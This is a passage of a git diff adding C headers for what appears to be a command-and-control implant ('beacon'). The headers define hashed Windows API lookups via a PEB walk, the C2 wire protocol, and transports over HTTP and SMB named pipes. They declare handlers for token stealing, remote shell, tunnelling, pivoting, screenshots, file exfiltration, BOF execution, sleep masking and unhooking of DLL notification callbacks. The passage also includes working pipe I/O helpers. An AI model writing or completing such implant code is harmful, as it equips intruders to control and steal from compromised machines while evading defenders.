===== ws2_32.dll (tunnel support, loaded lazily) ===== */ +#define H_WS2_32_DLL 0x5ECCCD63u +#define H_WSASTARTUP 0xB543F11Fu +#define H_WSACLEANUP 0x28729B02u +#define H_WSAGETLASTERROR 0x15818D3Cu +#define H_SOCKET_FN 0x6DBCB3ECu /* socket */ +#define H_CLOSESOCKET 0x71F47D22u +#define H_CONNECT_FN 0x782B3CD9u /* connect */ +#define H_BIND_FN 0x7387766Eu /* bind */ +#define H_LISTEN_FN 0x84AF5CA6u /* listen */ +#define H_ACCEPT_FN 0x209E17E9u /* accept */ +#define H_SEND_FN 0xB051CE6Fu /* send */ +#define H_RECV_FN 0x2A36852Du /* recv */ +#define H_SELECT_FN 0xB4293AADu /* select */ +#define H_IOCTLSOCKET 0xAF87B2FFu +#define H_HTONS 0x1A670BB5u +#define H_NTOHS 0x5D88A761u +#define H_INET_ADDR 0x52A5D3B3u +#define H_GETHOSTBYNAME 0x76E0C5A3u +#define H_SETSOCKOPT 0x1147B2C8u +#define H_SHUTDOWN_FN 0x98AE7DCBu /* shutdown */ +#define H_WSACREATEEVENT 0x5E2A89DAu +#define H_WSACLOSEEVENT 0x2FED8392u +#define H_WSAEVENTSELECT 0xB709ABEEu +#define H_WSARESETEVENT 0x024F6B57u +#define H_WSAENUMNETWORKEVENTS 0x4B2730B6u diff --git a/src_beacon/include/Nax.h b/src_beacon/include/Nax.h new file mode 100644 index 0000000..1439399 --- /dev/null +++ b/src_beacon/include/Nax.h @@ -0,0 +1,195 @@ +/* beacon/include/Nax.h + * Central forward declarations for all internal beacon functions. + * Include this instead of scattering FUNC prototypes across .c files. */ + +#pragma once +#include "Macros.h" +#include "Instance.h" +#include "Wire.h" +#include "Helpers.h" +#include "NaxConstants.h" + +/* ========= [ Core/Ldr.c - PEB walk, hashing, encoding ] ========= */ + +FUNC PNAX_PEB_LDR_DATA NaxGetLdr( VOID ); +FUNC HANDLE NaxGetProcessHeap( VOID ); +FUNC UINT32 NaxHashStr( const PCHAR str ); +FUNC UINT32 NaxHashWStr( const WCHAR* str ); +FUNC HMODULE NaxGetModule( UINT32 h ); +FUNC PVOID NaxGetProc( HMODULE base, UINT32 h ); +FUNC VOID NaxHexEncode( const PBYTE src, UINT32 len, PCHAR dst ); +FUNC UINT32 NaxUToStr( UINT32 val, PCHAR buf ); +FUNC VOID NaxAsciiToWide( const PCHAR src, PWCHAR dst, UINT32 cap ); +FUNC UINT32 NaxBase64Encode( const PBYTE src, UINT32 src_len, PCHAR dst, UINT32 dst_cap ); +FUNC UINT32 NaxBase64UrlEncode( const PBYTE src, UINT32 src_len, PCHAR dst, UINT32 dst_cap ); +FUNC UINT32 NaxBase64Decode( const PCHAR src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ); +FUNC UINT32 NaxHexDecode( const PCHAR src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ); +FUNC UINT32 NaxXorMask( PNAX_INSTANCE Nax, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ); +FUNC UINT32 NaxXorUnmask( const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ); + +/* ========= [ Core/Bootstrap.c ] ========= */ + +typedef struct _NAX_SYSINFO { + CHAR Hostname[64]; + CHAR Username[256]; + CHAR IpStr[64]; + CHAR Domain[256]; + CHAR Procname[256]; + UINT32 Pid; + UINT32 Tid; + UINT32 HnLen; + UINT32 UnLen; + UINT32 IpLen; + UINT32 DmLen; + UINT32 PnLen; + UINT32 ImLen; +} NAX_SYSINFO, *PNAX_SYSINFO; + +FUNC PNAX_INSTANCE NaxBootstrap( VOID ); +FUNC UINT32 NaxEffectiveSleep( PNAX_INSTANCE Nax ); +FUNC VOID NaxGetInternalIp( PNAX_INSTANCE Nax, PCHAR out, UINT32 cap ); +FUNC VOID NaxGetDomain( PNAX_INSTANCE Nax, PCHAR out, UINT32 cap ); +FUNC VOID NaxGatherSysInfo( PNAX_INSTANCE Nax, PNAX_SYSINFO info ); + +/* ========= [ Core/Config.c ] ========= */ + +FUNC VOID NaxInitConfig( PNAX_INSTANCE Nax ); +FUNC INT NaxApplyProfile( PNAX_INSTANCE Nax, const PBYTE body, UINT32 body_len ); + +/* ========= [ Core/PackerProfile.c ] ========= */ + +FUNC INT NaxDecodeProfile( const PBYTE data, UINT32 data_len, PNAX_INSTANCE Nax ); + +/* ========= [ Core/Cfg.c - Control Flow Guard ] ========= */ + +FUNC VOID NaxCfgInit( PNAX_INSTANCE Nax ); +FUNC BOOL NaxCfgAddTarget( PNAX_INSTANCE Nax, PVOID ImageBase, PVOID Function ); + +/* ========= [ Core/Crypto.c ] ========= */ + +FUNC INT NaxEncrypt( PNAX_INSTANCE Nax, const PBYTE plain, UINT32 plain_len, PBYTE out, UINT32* out_len ); +FUNC INT NaxDecrypt( PNAX_INSTANCE Nax, const PBYTE in, UINT32 in_len, PBYTE plain, UINT32* plain_len ); + +/* ========= [ Core/Packer.c - wire framing ] ========= */ + +FUNC VOID NaxW16( PBYTE p, UINT16 v ); +FUNC VOID NaxW32( PBYTE p, UINT32 v ); +FUNC UINT16 NaxR16( const PBYTE p ); +FUNC UINT32 NaxR32( const PBYTE p ); +FUNC INT NaxFrameEncode( BYTE msg_type, const PBYTE payload, UINT32 payload_len, PBYTE out, UINT32* out_len ); +FUNC INT NaxFrameDecode( const PBYTE frame, UINT32 frame_len, BYTE* msg_type, PBYTE* payload, UINT32* payload_len ); +FUNC INT NaxBuildRegBody( const PCHAR hn, UINT32 hn_len, const PCHAR un, UINT32 un_len, BYTE os_type, + UINT32 os_ver, UINT32 pid, UINT32 tid, + const PCHAR proc, UINT32 proc_len, const PCHAR ip, UINT32 ip_len, + const PCHAR domain, UINT32 domain_len, + BYTE is_admin, UINT32 os_build, UINT32 os_arch, UINT16 acp, UINT32 oem_cp, UINT32 sleep_ms, UINT32 jitter, + const PCHAR img_path, UINT32 img_path_len, + PBYTE out, UINT32* out_len ); +FUNC INT NaxBuildHeartbeat( PBYTE out, UINT32* out_len ); +FUNC INT NaxDecodeTask( const PBYTE body, UINT32 body_len, NAX_TASK* t ); +FUNC INT NaxBuildResult( UINT32 task_id, BYTE status, const PBYTE data, UINT32 data_len, PBYTE out, UINT32* out_len ); + +/* ========= [ Commands/Dispatch.c ] ========= */ + +FUNC INT NaxDispatch( PNAX_INSTANCE Nax, const NAX_TASK* task, + UINT32* result_task_id, BYTE* result_status, + PBYTE result_data, UINT32* result_data_len ); + +/* ========= [ Commands/Sleepmask.c - BeaconGate ] ========= */ + +FUNC INT NaxSleepmaskInit( PNAX_INSTANCE Nax ); +FUNC INT NaxSleepmaskWire( PNAX_INSTANCE Nax, PBYTE coff, UINT32 coff_size ); +FUNC VOID NaxGateUnwireAll( PNAX_INSTANCE Nax ); + +/* ========= [ Commands/Pivot.c ] ========= */ + +FUNC UINT32 NaxProcessPivots( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap ); +FUNC VOID NaxPostPivotHeaderRead( PNAX_INSTANCE Nax, NAX_PIVOT* p ); + +/* ========= [ Commands/Jobs.c ] ========= */ + +FUNC UINT32 NaxProcessJobs( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap ); +FUNC NAX_JOB* NaxJobCreate( PNAX_INSTANCE Nax, UINT32 taskId, PBYTE coffBuf, UINT32 coffSize, PBYTE argsBuf, UINT32 argsSize, DWORD timeoutMs ); +FUNC INT NaxJobStart( PNAX_INSTANCE Nax, NAX_JOB* job ); +FUNC INT NaxJobList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ); +FUNC INT NaxJobKill( PNAX_INSTANCE Nax, UINT32 taskId ); + +/* ========= [ Commands/Shell.c - remote shell ] ========= */ +FUNC VOID NaxShellDispatch( PNAX_INSTANCE Nax, UINT32 taskId, BYTE cmdId, const PBYTE args, UINT32 argsLen ); +FUNC UINT32 NaxProcessShells( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap ); + +/* ========= [ Commands/Tunnel.c ] ========= */ + +FUNC UINT32 NaxProcessTunnels( PNAX_INSTANCE Nax, PBYTE out, UINT32 outCap ); +FUNC VOID NaxTunnelDispatch( PNAX_INSTANCE Nax, BYTE cmdId, PBYTE args, UINT32 argsLen ); + +/* ========= [ Bof/Loader.c ] ========= */ + +FUNC VOID NaxBofStompInit( PNAX_INSTANCE Nax ); +FUNC VOID NaxBofFreeResident( PNAX_INSTANCE Nax ); + +/* ========= [ Transport/Http.c ] ========= */ + +FUNC BYTE NaxRotateIdx( PNAX_INSTANCE Nax, BYTE idx, BYTE count ); +FUNC VOID NaxHttpMain( PNAX_INSTANCE Nax ); + +/* ========= [ Transport/HttpCodec.c ] ========= */ + +FUNC UINT32 NaxEncodeData( PNAX_INSTANCE Nax, const NAX_OUTPUT_CFG* cfg, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ); +FUNC UINT32 NaxDecodeData( PNAX_INSTANCE Nax, const NAX_OUTPUT_CFG* cfg, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ); +FUNC UINT32 NaxAppendAsciiW( const PCHAR ascii, PWCHAR out, UINT32 wi, UINT32 cap ); +FUNC UINT32 NaxAppendCRLF( PWCHAR out, UINT32 wi, UINT32 cap ); +FUNC VOID NaxBuildRequestHeaders( PNAX_INSTANCE Nax, const PCHAR sid, const PCHAR hdr_base, UINT32 hdr_stride, BYTE hdr_count, const NAX_OUTPUT_CFG* meta_cfg, const PCHAR meta_encoded, UINT32 meta_encoded_len, BOOL is_post, PWCHAR out, UINT32 out_cap ); +FUNC BOOL NaxBuildUrl( PNAX_INSTANCE Nax, const PWCHAR url_w, PCHAR uri, PWCHAR out, UINT32 out_cap ); +FUNC VOID NaxBuildPathWithParams( PWCHAR path_src, PWCHAR path_out, UINT32 path_cap, const NAX_OUTPUT_CFG* meta_cfg, const PCHAR meta_encoded, UINT32 meta_encoded_len, const PCHAR param_base, UINT32 param_stride, BYTE param_count ); + +/* ========= [ command handlers ] ========= */ + +FUNC INT NaxCmdWhoami( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ); +FUNC INT NaxCmdSleep( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdCd( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdPwd( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdMkdir( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdRmdir( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdCat( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdLs( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdRm( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT NaxCmdBof( PNAX_INSTANCE Nax, UINT32 taskId, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT NaxCmdScreenshot( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ); +FUNC INT NaxCmdDownload( PNAX_INSTANCE Nax, UINT32 taskId, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC UINT32 NaxProcessDownloads( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap ); +FUNC INT NaxCmdUpload( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT NaxCmdSaveMemory( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC NAX_MEMSAVE* NaxMemSaveGet( PNAX_INSTANCE Nax, UINT32 memoryId ); +FUNC VOID NaxMemSaveFree( PNAX_INSTANCE Nax, UINT32 memoryId ); +FUNC INT NaxCmdBofStomp( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT NaxCmdSleepmaskSet( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT NaxCmdSleepObfConfig( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdPsList( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdPsKill( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdPsRun( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdLink( PNAX_INSTANCE Nax, UINT32 taskId, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdUnlink( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdPivotExec( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdProfile( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdTokenGetUid( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ); +FUNC INT CmdTokenSteal( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdTokenUse( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdTokenList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ); +FUNC INT CmdTokenRm( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdTokenRevert( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ); +FUNC INT CmdTokenMake( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ); +FUNC INT CmdTokenPrivs( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ); + +/* ========= [ Commands/DllNotify.c ] ========= */ + +typedef struct _LDR_DLL_NOTIFICATION_ENTRY { + LIST_ENTRY List; + PLDR_DLL_NOTIFICATION_FUNCTION Callback; + PVOID Context; +} LDR_DLL_NOTIFICATION_ENTRY, *PLDR_DLL_NOTIFICATION_ENTRY; + +FUNC PLIST_ENTRY NaxGetDllNotificationListHead( PNAX_INSTANCE Nax ); +FUNC INT NaxCmdDllNotifyList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ); +FUNC INT NaxCmdDllNotifyRemove( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ); +FUNC VOID NaxDllNotifyUnhookAll( PNAX_INSTANCE Nax ); diff --git a/src_beacon/include/NaxConstants.h b/src_beacon/include/NaxConstants.h new file mode 100644 index 0000000..026aa2f --- /dev/null +++ b/src_beacon/include/NaxConstants.h @@ -0,0 +1,83 @@ +/* beacon/include/NaxConstants.h + * Shared named constants for magic values used across the beacon. + * Replaces inline hex/decimal literals with descriptive macros. */ + +#pragma once + +/* ========= [ memory alignment ] ========= */ + +#define NAX_PAGE_SIZE 0x1000u +#define NAX_PAGE_MASK 0x0FFFu +#define ALIGN_UP( size, align ) ( ( (size) + ((align) - 1) ) & ~( (SIZE_T)(align) - 1 ) ) + +/* ========= [ transport buffer sizes ] ========= */ + +#define NAX_IO_CAP ( 8 * 1024 * 1024 ) /* 8 MB - Http.c + Smb.c result/IO cap */ +#define NAX_REG_BODY_BUF 1200 /* registration body stack buffer */ +#define NAX_PIPE_CHUNK_SIZE 0x2000u /* 8 KB - pipe write chunk (Smb + Pivot) */ +#define NAX_PIPE_BUF_SIZE 0x10000u /* 64 KB - CreateNamedPipeA buffer size */ + +/* ========= [ Winsock SDK constants (PIC: not from headers) ] ========= */ + +#define NAX_AF_INET 2 +#define NAX_SOCK_STREAM 1 +#define NAX_IPPROTO_TCP 6 + +#define NAX_SOL_SOCKET 0xFFFF +#define NAX_SO_RCVTIMEO 0x1006 +#define NAX_SO_SNDTIMEO 0x1005 +#define NAX_SO_REUSEADDR 0x0004 + +#define NAX_FIONBIO 0x8004667Eu +#define NAX_INADDR_NONE 0xFFFFFFFFu +#define NAX_INADDR_LOOPBACK_NBO 0x0100007Fu /* 127.0.0.1 in network byte order */ +#define NAX_WSAEWOULDBLOCK 10035 + +#define NAX_SD_SEND 1 /* shutdown(sock, SD_SEND) */ +#define NAX_SD_BOTH 2 /* shutdown(sock, SD_BOTH) */ + +/* FD_* event masks for WSAEventSelect */ +#define NAX_FD_READ 0x01 +#define NAX_FD_WRITE 0x02 +#define NAX_FD_ACCEPT 0x08 +#define NAX_FD_CONNECT 0x10 +#define NAX_FD_CLOSE 0x20 + +/* ========= [ tunnel operational constants ] ========= */ + +#define NAX_TUNNEL_RECV_MAX_ITER 16 +#define NAX_TUNNEL_RECV_BUDGET_MS 2500 +#define NAX_TUNNEL_RECV_HDR_RESERVE 16 /* entry header + payload header */ +#define NAX_TUNNEL_RECV_CHUNK_MAX 131072u /* 128 KB max single recv */ +#define NAX_TUNNEL_DRAIN_TIMEOUT_MS 5000 +#define NAX_TUNNEL_CLOSE_GRACE_MS 1000 + +/* ========= [ Win32 SDK constants (PIC: not from headers) ] ========= */ + +#define NAX_TOKEN_QUERY 0x0008u +#define NAX_TOKEN_ELEVATION_TYPE 20 +#define NAX_MIB_IF_TYPE_LOOPBACK 24 + +/* PEB offset accessors for OS version (x64) */ +#define NAX_PEB_OSMAJOR_OFFSET 0x118u +#define NAX_PEB_OSMINOR_OFFSET 0x11Cu +#define NAX_PEB_OSBUILD_OFFSET 0x120u + +/* Process info class for CFG policy */ +#define NAX_PROCESS_CFG_GUARD_POLICY 7 +#define NAX_CFG_CALL_TARGET_VALID 1 + +/* ========= [ BOF constants ] ========= */ + +#define NAX_BOF_MAPFN_MAX 512 + +/* ========= [ stomp context tag ] ========= */ + +#define NAX_STOMP_CTX_MAGIC 0x4E415854u /* 'NAXT' - loader writes at (code start + code size) */ + +/* ========= [ miscellaneous ] ========= */ + +#define NAX_PS_OUTPUT_WAIT_MS 10000 +#define NAX_ERROR_INVALID_PARAMETER 87 +#define NAX_SYSINFO_EXTRA_BUF 0x1000 +#define NAX_ARCH_UNKNOWN 10 diff --git a/src_beacon/include/Pipe.h b/src_beacon/include/Pipe.h new file mode 100644 index 0000000..4e985ee --- /dev/null +++ b/src_beacon/include/Pipe.h @@ -0,0 +1,64 @@ +/* beacon/include/Pipe.h + * Shared overlapped named-pipe I/O helpers used by both the SMB transport + * (child-side server) and the pivot manager (parent-side client). + * + * Both helpers are FUNC static so they land in .text$B and remain PIC-safe. + * NAX_PIPE_CHUNK_SIZE controls the write chunk size (defined in NaxConstants.h). */ + +#pragma once +#include "Nax.h" + +/* ========= [ NaxPipeWrite - write length-prefixed message in chunks ] ========= */ + +FUNC static BOOL NaxPipeWrite( PNAX_INSTANCE Nax, HANDLE hPipe, HANDLE hEvent, const PBYTE data, UINT32 size ) { + OVERLAPPED ov; + MmZero( &ov, sizeof( ov ) ); + ov.hEvent = hEvent; + DWORD written = 0; + + Nax->Kernel32.ResetEvent( hEvent ); + if ( ! Nax->Kernel32.WriteFile( hPipe, &size, 4, &written, &ov ) ) { + if ( Nax->Kernel32.GetLastError() == ERROR_IO_PENDING ) + Nax->Kernel32.GetOverlappedResult( hPipe, &ov, &written, TRUE ); + else + return FALSE; + } + + UINT32 idx = 0; + while ( idx < size ) { + UINT32 chunk = ( size - idx > NAX_PIPE_CHUNK_SIZE ) ? NAX_PIPE_CHUNK_SIZE : ( size - idx ); + MmZero( &ov, sizeof( ov ) ); + ov.hEvent = hEvent; + written = 0; + Nax->Kernel32.ResetEvent( hEvent ); + if ( ! Nax->Kernel32.WriteFile( hPipe, data + idx, chunk, &written, &ov ) ) { + if ( Nax->Kernel32.GetLastError() == ERROR_IO_PENDING ) + Nax->Kernel32.GetOverlappedResult( hPipe, &ov, &written, TRUE ); + else + return FALSE; + } + idx += written; + } + return TRUE; +} + +/* ========= [ NaxPipeRead - read exact byte count in chunks ] ========= */ + +FUNC static BOOL NaxPipeRead( PNAX_INSTANCE Nax, HANDLE hPipe, HANDLE hEvent, PBYTE buf, UINT32 size ) { + UINT32 idx = 0; + while ( idx < size ) { + OVERLAPPED ov; + MmZero( &ov, sizeof( ov ) ); + ov.hEvent = hEvent; + DWORD nRead = 0; + Nax->Kernel32.ResetEvent( hEvent ); + if ( ! Nax->Kernel32.ReadFile( hPipe, buf + idx, size - idx, &nRead, &ov ) ) { + if ( Nax->Kernel32.GetLastError() == ERROR_IO_PENDING ) + Nax->Kernel32.GetOverlappedResult( hPipe, &ov, &nRead, TRUE ); + else + return FALSE; + } + idx += nRead; + } + return TRUE; +} diff --git a/src_beacon/include/Pivot.h b/src_beacon/include/Pivot.h new file mode 100644 index 0000000..c9b71be --- /dev/null +++ b/src_beacon/include/Pivot.h @@ -0,0 +1,7 @@ +/* beacon/include/Pivot.h + * Pivot entry type constants for ProcessPivots output format. */ + +#pragma once + +#define NAX_PIV_TYPE_DATA 0 +#define NAX_PIV_TYPE_UNLINK 1 diff --git a/src_beacon/include/Screenshot.h b/src_beacon/include/Screenshot.h new file mode 100644 index 0000000..00a7715 --- /dev/null +++ b/src_beacon/include/Screenshot.h @@ -0,0 +1,12 @@ +/* beacon/include/Screenshot.h + * GDI constants for desktop capture. */ + +#pragma once + +/* SM_CXSCREEN = 0, SM_CYSCREEN = 1 (stable across all Windows versions) */ +#define NX_SM_CXSCREEN 0 +#define NX_SM_CYSCREEN 1 +/* ROP code: SRCCOPY = 0x00CC0020 */ +#define NX_SRCCOPY 0x00CC0020u +/* DIB_RGB_COLORS = 0 */ +#define NX_DIB_RGB_COLORS 0 diff --git a/src_beacon/include/Transport.h b/src_beacon/include/Transport.h new file mode 100644 index 0000000..75ff5e6 --- /dev/null +++ b/src_beacon/include/Transport.h @@ -0,0 +1,69 @@ +/* beacon/include/Transport.h + * Common transport interface. Http.c and Smb.c both implement NAX_TRANSPORT_FN. + * NaxSend is a compile-time alias - no runtime dispatch overhead. + * + * To add a new transport: + * 1. Implement NAX_TRANSPORT_FN in src/Transport/YourTransport.c + * 2. Add a NAX_TRANSPORT_* constant and case in the #if chain below + * 3. Build with -DNAX_TRANSPORT_PROFILE=NAX_TRANSPORT_YOUR */ + +#pragma once +#include "Instance.h" + +/* ========= [ transport function type ] ========= */ + +/* All transports share this signature. + * url_w : null-terminated wide URL (HTTP) or pipe path (SMB) + * sid : 16-char hex session ID (used as HTTP header or pipe auth) + * Returns NAX_OK on success, NAX_ERR_NET on any failure. */ +typedef INT (*NAX_TRANSPORT_FN)( + PNAX_INSTANCE Nax, + const PWCHAR url_w, + const PCHAR sid, + const PBYTE body, UINT32 body_len, + PBYTE resp_buf, UINT32* resp_len +); + +/* ========= [ compile-time profile selection ] ========= */ + +#define NAX_TRANSPORT_HTTP 0 +#define NAX_TRANSPORT_SMB 1 /* Phase 7 */ + +#ifndef NAX_TRANSPORT_PROFILE +# define NAX_TRANSPORT_PROFILE NAX_TRANSPORT_HTTP +#endif + +/* ========= [ protocol declarations ] ========= */ + +FUNC INT NaxHttpPost( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid, + const PBYTE body, UINT32 body_len, + PBYTE resp_buf, UINT32* resp_len ); + +FUNC INT NaxSmbPost( PNAX_INSTANCE Nax, const PWCHAR pipe_path, const PCHAR sid, + const PBYTE body, UINT32 body_len, + PBYTE resp_buf, UINT32* resp_len ); + +FUNC INT NaxHttpGet( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid, + const PBYTE body, UINT32 body_len, + PBYTE resp_buf, UINT32* resp_len ); + +FUNC INT NaxHttpGetOrPost( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid, + const PBYTE body, UINT32 body_len, + PBYTE resp_buf, UINT32* resp_len ); + +/* ========= [ transport main loops ] ========= */ + +FUNC VOID NaxHttpMain( PNAX_INSTANCE Nax ); +FUNC VOID NaxSmbMain( PNAX_INSTANCE Nax ); + +/* ========= [ NaxSend alias ] ========= */ + +#if NAX_TRANSPORT_PROFILE == NAX_TRANSPORT_HTTP +# define NaxSend NaxHttpPost +# define NaxSendHeartbeat NaxHttpGetOrPost +#elif NAX_TRANSPORT_PROFILE == NAX_TRANSPORT_SMB +# define NaxSend NaxSmbPost +# define NaxSendHeartbeat NaxSmbPost +#else +# error "Unknown NAX_TRANSPORT_PROFILE" +#endif diff --git a/src_beacon/include/WinApis.h b/src_beacon/include/WinApis.h new file mode 100644 index 0000000..6adff5c --- /dev/null +++ b/src_beacon/include/WinApis.h @@ -0,0 +1,9 @@ +/* beacon/include/WinApis.h + * Forward declarations for Win32/CRT functions that lack proper prototypes + * in the MinGW headers included by Instance.h. Enables D_API() usage + * for all DLL function pointer struct fields. */ + +#pragma once + +/* msvcrt.dll */ +int __cdecl printf( const char*, ... ); diff --git a/src_beacon/include/Wire.h b/src_beacon/include/Wire.h new file mode 100644 index 0000000..b7a8be8 --- /dev/null +++ b/src_beacon/include/Wire.h @@ -0,0 +1,114 @@ +/* beacon/include/Wire.h + * Wire-v0 protocol constants and NaxTask parse struct. + * Must stay in lockstep with extender/agent_nonameax/pl_wire.go. */ + +#pragma once +#include + +/* ========= [ message types ] ========= */ +#define NAX_WIRE_REGISTER 0x01u +#define NAX_WIRE_HEARTBEAT 0x02u +#define NAX_WIRE_RESULT 0x03u +#define NAX_WIRE_NO_TASKS 0x80u +#define NAX_WIRE_TASK 0x81u +#define NAX_WIRE_PROFILE 0x82u + +/* ========= [ command IDs ] ========= */ +#define NAX_CMD_WHOAMI 0x10u +#define NAX_CMD_SLEEP 0x11u +#define NAX_CMD_EXIT_THREAD 0x12u +#define NAX_CMD_EXIT_PROCESS 0x13u +#define NAX_CMD_CD 0x14u +#define NAX_CMD_PWD 0x15u +#define NAX_CMD_MKDIR 0x16u +#define NAX_CMD_RMDIR 0x17u +#define NAX_CMD_CAT 0x18u +#define NAX_CMD_LS 0x19u +#define NAX_CMD_BOF 0x20u +#define NAX_CMD_SCREENSHOT 0x21u +#define NAX_CMD_DOWNLOAD 0x22u +#define NAX_CMD_PS_LIST 0x23u +#define NAX_CMD_PS_KILL 0x24u +#define NAX_CMD_PS_RUN 0x25u +#define NAX_CMD_UPLOAD 0x26u +#define NAX_CMD_RM 0x27u +#define NAX_CMD_SAVEMEMORY 0x2Au +#define NAX_CMD_CHUNKSIZE 0x2Bu + +/* ========= [ download sub-commands ] ========= */ +#define NAX_DL_START 0x01u +#define NAX_DL_CONTINUE 0x02u +#define NAX_DL_FINISH 0x03u +#define NAX_DL_CHUNK_DEFAULT 0x200000u /* 2 MB default */ +#define NAX_DL_CHUNK_MAX 0x400000u /* 4 MB hard cap */ +#define NAX_CMD_PROFILE 0x30u +#define NAX_CMD_PIVOT_EXEC 0x37u +#define NAX_CMD_LINK 0x38u +#define NAX_CMD_UNLINK 0x39u +#define NAX_CMD_JOB_LIST 0x28u +#define NAX_CMD_JOB_KILL 0x29u +#define NAX_CMD_BOF_STOMP 0x31u +#define NAX_CMD_SLEEPMASK_SET 0x32u +#define NAX_CMD_SLEEPOBF_CONFIG 0x33u +#define NAX_CMD_TOKEN_GETUID 0x50u +#define NAX_CMD_TOKEN_STEAL 0x51u +#define NAX_CMD_TOKEN_USE 0x52u +#define NAX_CMD_TOKEN_LIST 0x53u +#define NAX_CMD_TOKEN_RM 0x54u +#define NAX_CMD_TOKEN_REVERT 0x55u +#define NAX_CMD_TOKEN_MAKE 0x56u +#define NAX_CMD_TOKEN_PRIVS 0x57u +#define NAX_CMD_DLL_NOTIFY_LIST 0x3Au +#define NAX_CMD_DLL_NOTIFY_REMOVE 0x3Bu + +/* ========= [ tunnel command IDs ] ========= */ +#define NAX_CMD_TUNNEL_CONNECT_TCP 0x3Eu +#define NAX_CMD_TUNNEL_CONNECT_UDP 0x3Fu +#define NAX_CMD_TUNNEL_WRITE_TCP 0x40u +#define NAX_CMD_TUNNEL_WRITE_UDP 0x41u +#define NAX_CMD_TUNNEL_CLOSE 0x42u +#define NAX_CMD_TUNNEL_REVERSE 0x43u +#define NAX_CMD_TUNNEL_ACCEPT 0x44u +#define NAX_CMD_TUNNEL_PAUSE 0x45u +#define NAX_CMD_TUNNEL_RESUME 0x46u + +/* ========= [ shell command IDs ] ========= */ +#define NAX_CMD_SHELL_START 0x47u +#define NAX_CMD_SHELL_WRITE 0x48u +#define NAX_CMD_SHELL_CLOSE 0x49u + +/* ========= [ job result types ] ========= */ +#define NAX_JOB_OUTPUT 0x01u +#define NAX_JOB_COMPLETE 0x02u +#define NAX_JOB_KILLED 0x03u + +/* ========= [ arch identifiers ] ========= */ +#define NAX_ARCH_X64 0x01u +#define NAX_ARCH_X86 0x02u + +/* ========= [ result status codes ] ========= */ +#define NAX_STATUS_OK 0x00u +#define NAX_STATUS_ERR 0x01u +#define NAX_STATUS_ASYNC 0x10u +#define NAX_STATUS_TUNNEL 0x20u + +/* ========= [ frame header size ] ========= */ +/* Frame: type(1) | flags(1) | bodylen(4LE) = 6 bytes */ +#define NAX_FRAME_HDR 6 + +/* ========= [ error codes ] ========= */ +#define NAX_OK 0 +#define NAX_ERR_INVAL -1 +#define NAX_ERR_NOMEM -2 +#define NAX_ERR_CRYPTO -3 +#define NAX_ERR_NET -4 +#define NAX_ERR_WIRE -5 +#define NAX_ERR_FAIL 